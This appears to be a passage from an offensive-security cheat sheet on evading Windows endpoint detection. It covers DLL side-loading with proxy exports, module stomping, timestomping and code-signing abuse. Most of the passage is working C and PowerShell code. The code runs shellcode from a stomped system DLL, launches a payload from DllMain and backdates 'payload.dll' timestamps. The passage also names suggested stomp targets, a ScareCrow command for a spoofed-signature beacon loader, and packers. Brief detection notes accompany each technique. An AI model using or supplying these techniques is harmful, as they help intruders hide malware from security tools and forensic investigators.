HeapFree(GetProcessHeap(), 0, pAttrList);
CloseHandle(hParent);

Detection: Compare EPROCESS.InheritedFromUniqueProcessId (true creator) with the parent PID in the process attributes. Sysmon EID 1 logs both.

#DLL Side-Loading

DLL side-loading exploits the Windows DLL search order: when an application calls LoadLibrary("name.dll") without a full path, Windows searches the application's directory first, before System32. By placing a malicious DLL with the expected filename next to a legitimate signed executable, the OS loads the attacker's DLL into a trusted process context. DLL proxying (forwarding real exports to the original DLL) keeps the host application functional and avoids crashes.

Detection: EDRs can flag unsigned DLLs loaded by signed executables, or DLLs loaded from unexpected paths (e.g., a temp directory instead of System32).

Steps:

  1. Find a signed EXE that imports a DLL without a full path
  2. Place the malicious DLL with the expected name in the same directory as the EXE
  3. Windows search order loads our DLL first (application directory before System32)
  4. Use DLL proxying to forward legitimate function calls to the real DLL

Common targets:

  • OneDrive.exe - loads various DLLs
  • Teams.exe - loads non-system DLLs
  • Vendor updaters signed by trusted CAs
  • msdtc.exe - loads oci.dll
  • WerFault.exe - loads faultrep.dll
// DLL Proxy: forward exports to real DLL
// Use linker pragma to redirect exports
#pragma comment(linker,
    "/export:RealFunc=legit.RealFunc")

// DllMain runs our payload when loaded
BOOL WINAPI DllMain(HINSTANCE hDll,
    DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        // Execute payload in new thread
        CreateThread(NULL, 0,
            PayloadThread, NULL, 0, NULL);
    }
    return TRUE;
}

DLL proxy generation tools: SharpDLLProxy, Koppeling, DLLirant.

#Module Stomping

Module stomping loads a legitimate but rarely used system DLL (e.g., xpsprint.dll), then overwrites its .text section with shellcode. The key advantage is that the shellcode now executes from a "backed-by-image" memory region - one that is mapped from a known DLL on disk. Memory scanners that check whether executable regions are backed by legitimate files will see a valid DLL mapping instead of suspicious private executable memory.

Detection: Advanced scanners (PE-sieve with shellcode detection mode) compare the in-memory .text section against the on-disk original and flag discrepancies. Choosing obscure DLLs reduces the chance of integrity checks.

// Load a legitimate but rarely used DLL
// Overwrite its .text section with shellcode
// Execute shellcode from the legitimate module's
// address space - memory scanners see a known DLL

HMODULE hMod = LoadLibraryA("xpsprint.dll");
MODULEINFO mi;
GetModuleInformation(
    GetCurrentProcess(),
    hMod, &mi, sizeof(mi));

// Parse PE to find .text section
PIMAGE_DOS_HEADER pDos =
    (PIMAGE_DOS_HEADER)hMod;
PIMAGE_NT_HEADERS pNt =
    (PIMAGE_NT_HEADERS)
    ((BYTE*)hMod + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSec =
    IMAGE_FIRST_SECTION(pNt);

for (WORD i = 0;
     i < pNt->FileHeader.NumberOfSections;
     i++) {
    if (!strcmp((char*)pSec[i].Name,
               ".text")) {
        DWORD oldProtect;
        BYTE* pText = (BYTE*)hMod +
            pSec[i].VirtualAddress;

        VirtualProtect(pText,
            pSec[i].Misc.VirtualSize,
            PAGE_EXECUTE_READWRITE,
            &oldProtect);

        // Copy shellcode over .text
        memcpy(pText, shellcode,
            shellcodeSize);

        VirtualProtect(pText,
            pSec[i].Misc.VirtualSize,
            PAGE_EXECUTE_READ,
            &oldProtect);

        // Execute from stomped module
        CreateThread(NULL, 0,
            (LPTHREAD_START_ROUTINE)pText,
            NULL, 0, NULL);
        break;
    }
}

Why it evades: Memory scanners (PE-sieve, Moneta) compare loaded module .text sections against the on-disk version. Module stomping replaces content in a legitimate DLL that the scanner may whitelist. Choose obscure DLLs that are not commonly integrity-checked.

Good stomp targets: xpsprint.dll, msftedit.dll, chakra.dll, edputil.dll - present on most Windows systems but rarely inspected.

#Timestomping

Timestomping modifies file timestamps (creation time, modification time, access time, MFT entry modified time) to blend malicious files with legitimate system files. Forensic timelines rely on these timestamps to identify recently dropped files, so backdating them to match surrounding system DLLs makes triage significantly harder.

Detection: NTFS stores timestamps in both the $STANDARD_INFORMATION and $FILE_NAME attributes of the MFT entry. SetFileTime / NtSetInformationFile only modifies $STANDARD_INFORMATION. Forensic tools that compare both attributes can detect timestomping because $FILE_NAME timestamps are only updated by the kernel (rename/move operations).

// Set file timestamps to match a legitimate system file
// This defeats forensic timeline analysis that looks for
// recently created files in suspicious directories

HANDLE hFile = CreateFileA(
    "C:\\Windows\\Temp\\payload.dll",
    FILE_WRITE_ATTRIBUTES, 0, NULL,
    OPEN_EXISTING, 0, NULL);

// Copy timestamps from a legitimate system DLL
HANDLE hRef = CreateFileA(
    "C:\\Windows\\System32\\kernel32.dll",
    GENERIC_READ, FILE_SHARE_READ, NULL,
    OPEN_EXISTING, 0, NULL);

FILETIME ftCreate, ftAccess, ftWrite;
GetFileTime(hRef, &ftCreate, &ftAccess, &ftWrite);
SetFileTime(hFile, &ftCreate, &ftAccess, &ftWrite);

CloseHandle(hRef);
CloseHandle(hFile);

PowerShell:

# Copy timestamps from kernel32.dll to payload
$ref = Get-Item C:\Windows\System32\kernel32.dll
$target = Get-Item C:\Windows\Temp\payload.dll
$target.CreationTime = $ref.CreationTime
$target.LastWriteTime = $ref.LastWriteTime
$target.LastAccessTime = $ref.LastAccessTime

Limitation: $FILE_NAME timestamps in the MFT are not modified by SetFileTime, so forensic tools comparing $STANDARD_INFORMATION vs $FILE_NAME timestamps can detect the manipulation.

#Code Signing

EDRs assign higher trust to signed executables. Code signing evasion involves either signing payloads with legitimate (stolen/purchased) certificates, self-signed certificates that match trusted publisher names, or abusing signature verification weaknesses. Some EDRs skip deep inspection of executables signed by trusted CAs, making a valid signature an effective bypass for static analysis and reputation checks.

Detection: Certificate revocation checks (OCSP/CRL), comparing certificate thumbprints against known-stolen certs, and checking for self-signed or recently issued certificates.

Techniques:

Technique Description Stealth
Stolen EV cert Sign with a leaked/purchased EV code signing certificate Very High
Self-signed cert Create a certificate that mimics a trusted publisher Low
Catalog signing abuse Add hashes to a Windows catalog file (requires admin) High
Signature stripping + re-signing Strip authenticode, modify binary, re-sign with new cert Medium
SigThief Copy an authenticode signature from a signed binary to another Medium

Tools:

  • ScareCrow - Generates payloads signed with spoofed code signing certificates to bypass EDR trust checks
  • Nimcrypt2 - Packer that supports signing output with custom certificates
  • PEzor - Shellcode packer with code signing and evasion features
  • CarbonCopy - Copies SSL/TLS certificates from any website for use in signing
  • SigThief - Steals authenticode signatures from signed PE files
# ScareCrow usage example - generates signed, obfuscated loader
ScareCrow -I beacon.bin -domain microsoft.com -Loader dll
# -domain: spoof code signing cert for specified domain
# -Loader: output format (dll, binary, msiexec, etc.)

#Payload Packing Tools

Tool Language Key Features
ScareCrow Go Spoofed code signing, EDR unhooking, multiple loader types
Nimcrypt2 Nim Syscall unhooking, string encryption, sandbox evasion
PEzor C++ Shellcode packing, syscalls, self-injection, signed output
Donut C Converts .NET/PE/DLL to position-independent shellcode
sRDI C/Python Converts DLLs to reflective shellcode (shellcode RDI)
Freeze Go Suspends EDR threads via ETW patching + payload execution

#Also See

#Cyber Aurelien Guidi